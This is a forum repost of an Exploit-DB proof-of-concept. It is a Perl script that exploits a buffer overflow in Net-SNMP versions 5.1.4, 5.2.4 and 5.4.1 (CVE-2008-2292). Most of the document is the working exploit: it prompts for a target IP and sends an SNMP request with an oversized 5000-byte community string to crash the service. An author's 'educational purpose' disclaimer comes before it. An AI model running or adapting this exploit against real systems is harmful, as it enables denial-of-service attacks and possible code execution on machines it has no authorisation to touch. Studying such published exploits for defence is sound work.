Exploit Net-SNMP 5.1.4/5.2.4/5.4.1 Perl Module - Buffer Overflow (PoC)

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
7100
Проверка EDB
  1. Пройдено
Автор
PRAVEEN DARSHANAM
Тип уязвимости
DOS
Платформа
LINUX
CVE
cve-2008-2292
Дата публикации
2008-11-12
Код:
#!usr/bin/perl -w

################################################################################################################
#    Buffer overflow in the __snprint_value function in snmp_get in Net-SNMP 5.1.4, 5.2.4, and 5.4.1,
#    as used in SNMP.xs for Perl, allows remote attackers to cause a denial of service (crash) and
#    possibly execute arbitrary code via a large OCTETSTRING in an attribute value pair (AVP).
#
#    Refer:
#    http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-2292
#    https://www.securityfocus.com/bid/29212/discuss
#
#
#    To run this exploit on MS Windows replace "#!usr/bin/perl -w" with "#!Installation_path_for_perl -w"
#    (say #!C:/Program Files/Perl/bin/perl -w)
#
#     This was strictly written for educational purpose. Use it at your own risk.
#    Author will not bare any responsibility for any damages watsoever.
#
#        Author:    Praveen Darshanam
#        Email:    praveen[underscore]recker[at]sify.com
#        Date:    11th November, 2008
#
#    NOTE:    Thanks to all my colleagues at iPolicy Networks for making this possible
#            For reliable security solutions please visit http://www.ipolicynetworks.com/
#
##################################################################################################################

use Net::SNMP;

printf("\nEnter the IP Adress of Vulnerable SNMP Manager Agent:  ");
$host_vulnerable = <STDIN>;
$port = 161;
#default SNMP port
$community = "D" x 5000;

($session, $error) = Net::SNMP->session(
                                               -hostname      => $host_vulnerable,
                                               -port          => $port,
                                               -community     => $community,
                                             -maxmsgsize    => 7000,
                                        );
 if (!defined($session))
 {
      printf("ERROR: %s.\n", $error);
      exit 1;
 }

$sysUpTime = '1.3.6.1.2.1.1.3.0';
$snmp_mal_request = $session->get_request(
                                              -varbindlist => [$sysUpTime],
                                          );

 if (!defined($snmp_mal_request)) {
                                      printf("ERROR: %s.\n", $session->error);
                                      $session->close;
                                      exit 1;
                                  }

$session->close;

# milw0rm.com [2008-11-12]
 
Источник
www.exploit-db.com

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